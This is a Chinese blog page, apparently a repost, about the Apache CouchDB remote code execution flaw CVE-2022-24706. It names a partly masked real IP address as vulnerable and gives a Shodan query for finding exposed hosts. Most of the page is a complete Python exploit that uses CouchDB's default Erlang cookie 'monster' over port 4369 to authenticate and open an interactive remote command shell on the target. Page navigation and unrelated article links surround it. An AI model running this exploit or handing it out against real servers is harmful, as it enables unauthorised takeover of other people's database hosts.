当前位置:网站首页>Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC
Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC
2022-06-25 06:43:00 【苏落is菜鸡】
Apache CouchDB 代码执行漏洞(CVE-2022-24706 )
由于CouchDB的默认安装配置存在缺陷,最终可导致攻击者通过访问特定端口,绕过权限校验并获得管理员权限
CVE-2022-24706漏洞是由于3.2.2 版本之前的 CouchDB 的默认配置存在缺陷点, 攻击者可以在未进行身份验证的情况下访问不正确的默认安装进而获得管理员权限。该漏洞影响范围小,建议用户在所有 CouchDB 安装之前安装防火墙。完整的CouchDB api 在注册端口“5984”上可用,这是唯一的需要为单节点安装公开的端口。
实例:45.147.96.xxx 存在REC
EXP
# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
# https://habr.com/ru/post/661195/
# https://www.exploit-db.com/exploits/49418
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
# !/usr/local/bin/python3
import socket
from hashlib import md5
import struct
import sys
import re
import time
TARGET = sys.argv[1]
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\[email protected]"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\[email protected]\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\[email protected]\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
while not TARGET:
TARGET = input("Enter target host:\n> ")
# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
epm_socket.send(EPM_NAME_CMD) # request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" % (line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search("\d+$", data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
s.send(NAME_MSG)
s.recv(5) # Receive "ok" message
challenge = s.recv(1024) # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]
# print("Extracted challenge: {}".format(challenge))
# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
# print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode())
data_size = 0
else:
data = s.recv(1024)
# print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode(), end='')
data_size -= 1024边栏推荐
- 2160. 拆分数位后四位数字的最小和
- 力扣76题,最小覆盖字串
- Atlassian confluence漏洞分析合集
- Take you through the normalization flow of GaN
- Basic use of ActiveMQ in Message Oriented Middleware
- Vscode is good, but I won't use it again
- 一文了解 | 革兰氏阳性和阴性菌区别,致病差异,针对用药
- Do you know why the PCB produces tin beads? 2021-09-30
- 差点被这波Handler 面试连环炮带走~
- This article uses pytorch to build Gan model!
猜你喜欢

使用Adobe Acrobat Pro调整PDF页面为统一大小

Modular programming of wireless transmission module nRF905 controlled by single chip microcomputer

剑指 Offer II 027. 回文链表

基于Anaconda的模块安装与注意事项

CAN透传云网关CANIOT,CANDTU记录CAN报文远程收发CAN数据

opencv最小值滤波(不局限于图像)

Misunderstanding of switching triode

C#中如何调整图像大小

Terms and concepts related to authority and authentication system

将数据导入到MATLAB
随机推荐
WinForm implementation window is always at the top level
This article uses pytorch to build Gan model!
云计算考试版本1.0
[daily training] 207 Class Schedule Card
Do you know why the PCB produces tin beads? 2021-09-30
JDBC-DAO层实现
Mysql面试-执行sql响应比较慢,排查思路。
消息中间件之ActiveMQ的基本使用
realsense d455 semantic_ Slam implements semantic octree mapping
Atlas conference vulnerability analysis collection
LeetCode_哈希表_中等_454.四数相加 II
【Unexpected token o in JSON at position 1出错原因及解决方法】
Advantages and differences of three kinds of vias in PCB 2021-10-27
TCP的那点玩意儿
【深度学习 轻量型backbone】2022 EdgeViTs CVPR
WinForm实现窗口始终在顶层
Summary of small problems in smartbugs installation
新版USBCAN卡CAN分析仪的CAN&CANFD综合测试分析软件LKMaster主要功能介绍
Find out what informatization is, and let enterprises embark on the right path of transformation and upgrading
单位转换-毫米转像素-像素转毫米
https://qr.dingtalk.com/action/joingroup?code=v1,k1,pvNvPYemLn/GMB6zR6MOqYRz+Fek+eWMYkXCD3cR6Ag=&_dt_no_comment=1&origin=11